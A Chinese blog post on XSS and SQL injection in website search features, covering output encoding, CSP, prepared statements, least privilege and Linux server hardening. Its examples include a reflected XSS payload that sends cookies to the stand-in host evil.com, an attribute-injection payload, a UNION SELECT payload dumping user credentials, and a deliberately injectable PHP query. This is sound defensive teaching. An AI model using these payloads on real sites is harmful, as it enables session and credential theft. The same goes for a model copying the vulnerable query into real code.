搜索功能中的 XSS 与 SQL 注入风险：从攻击面到纵深防御

搜索框，几乎是每个 Web 应用中最不起眼的组件之一。用户输入关键词，系统返回匹配结果——逻辑看似简单，但正是这个“输入即查询、查询即回显”的闭环，让它成为 XSS 和 SQL 注入最经典的攻击入口。本文从搜索功能的实际场景出发，梳理这两类漏洞的成因与防御方式，并延伸到服务器层面的加固思路。

为什么搜索功能是高危入口

搜索功能天然具备两个危险特征：

1. 用户输入直接参与数据库查询：关键词通常会被拼接到 SQL 语句的 LIKE 子句中，如果处理不当，注入点就此产生。
2. 查询结果直接回显到页面：搜索关键词往往会被“回显”在结果页上（如“您搜索的是：xxx”），这为反射型 XSS 提供了天然的注入位置。

换句话说，搜索功能同时踩中了“数据入口”和“数据出口”两个风险点，防御必须两头兼顾。

XSS 的常见方式与前端防御

常见注入方式

在搜索场景中，XSS 的典型载荷包括：

• 反射型：构造链接 https://example.com/search?q=<script>document.location='//evil.com/?c='+document.cookie</script>，诱导用户点击后窃取 Cookie。
• 基于 DOM 的 XSS：前端 JavaScript 直接使用 location.search 或 innerHTML 渲染关键词，例如 result.innerHTML = '您搜索的是：' + keyword，攻击载荷无需经过服务器即可执行。
• 属性注入：关键词被拼接到 HTML 属性中，如 <input value="关键词">，攻击者通过 " onfocus=alert(1) autofocus=" 闭合属性并注入事件。

前端防御要点

第一，输出编码而非输入过滤。 XSS 的本质是“数据被当作代码执行”，因此防御的核心在于输出环节根据上下文进行编码。HTML 文本节点使用 HTML 实体编码，属性值使用引号包裹并编码，URL 参数使用 encodeURIComponent。

第二，避免危险的 DOM API。 优先使用 textContent 而非 innerHTML；如果必须渲染富文本，应引入 DOMPurify 等经过审计的净化库，而不是自己写正则。

第三，启用 CSP。 内容安全策略（Content-Security-Policy）可以作为最后一道防线，通过限制脚本来源、禁用 unsafe-inline，大幅降低 XSS 的成功率。例如：

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

第四，设置 HttpOnly Cookie。 即使 XSS 发生，HttpOnly 标记也能阻止脚本读取会话 Cookie，降低横向移动的风险。

MySQL 防止 SQL 注入的几种写法

搜索功能中的 SQL 注入，根源在于将用户输入拼接进 SQL 语句。以下从危险到安全，梳理几种典型写法。

危险写法：字符串拼接

$sql = "SELECT * FROM articles WHERE title LIKE '%" . $_GET['q'] . "%'";

攻击者输入 %' UNION SELECT username, password FROM users -- ，即可拖取用户表数据。

写法一：预处理语句（推荐）

预处理语句将 SQL 结构与数据分离，是防御 SQL 注入最有效的手段：

$stmt = $pdo->prepare("SELECT * FROM articles WHERE title LIKE :keyword");
$stmt->execute([':keyword' => '%' . $q . '%']);

需要注意，LIKE 中的 % 和 _ 通配符本身不构成注入，但如果业务上不希望用户控制通配符，应对输入中的 %、_、\ 进行转义。

写法二：参数化查询配合类型约束

对于排序字段、分页参数等无法用占位符的位置，应使用白名单映射：

$allowed = ['title' => 'title', 'date' => 'created_at'];
$order = $allowed[$_GET['sort']] ?? 'created_at';
$sql = "SELECT * FROM articles ORDER BY $order LIMIT :offset, :limit";

永远不要把用户输入直接放进 ORDER BY 或表名位置，因为占位符在这些位置无效。

写法三：ORM 与查询构建器

使用 Laravel、Django ORM、TypeORM 等框架时，优先使用其参数绑定接口，避免 whereRaw 这类原生拼接方法。ORM 并非绝对安全，但正确使用时能消除绝大部分注入面。

补充：最小权限原则

数据库账户只授予必要的 SELECT、INSERT 权限，禁用 FILE、DROP 等高危权限，即使注入发生，也能限制损害范围。

Linux 服务器安全加固清单

应用层的防御再完善，也需要系统层兜底。以下是一份可落地的加固清单：

账户与认证

• 禁用 root 远程登录，使用普通用户 + sudo 提权
• 全面启用 SSH 密钥认证，关闭密码登录（PasswordAuthentication no）
• 修改 SSH 默认端口并配合 fail2ban 限制暴力破解

网络与防火墙

• 仅开放必要端口，使用 ufw 或 firewalld 设置默认拒绝策略
• 数据库（MySQL 3306）禁止对公网监听，仅绑定 127.0.0.1 或内网地址

系统更新与审计

• 开启 unattended-upgrades 自动安装安全补丁
• 部署 auditd 或 OSSEC 监控关键文件变更
• 定期检查 /var/log/auth.log、/var/log/nginx/access.log 中的异常请求

服务隔离

• Web 服务以低权限用户运行（如 www-data），禁止其写入代码目录
• 使用 systemd 的 PrivateTmp、NoNewPrivileges 等沙箱选项限制服务能力
• 有条件时使用容器或 chroot 隔离应用环境

数据与备份

• 数据库定期备份并验证可恢复性，备份文件加密存储
• 敏感配置（数据库密码、密钥）通过环境变量或密钥管理服务注入，避免硬编码

结语

搜索功能的 XSS 与 SQL 注入，看似是两个独立的问题，实则指向同一个原则：永远不要信任用户输入，也永远不要信任输出的上下文是安全的。前端做好输出编码与 CSP，后端坚持参数化查询与最小权限，服务器层面做好隔离与监控，三者形成纵深防御，才能让一个看似简单的搜索框真正安全。安全不是某一个环节的事，而是每一层都不假设上一层已经做好了。

未经允许不得转载：任鹏个人博客 » 搜索功能中的 XSS 与 SQL 注入风险：从攻击面到纵深防御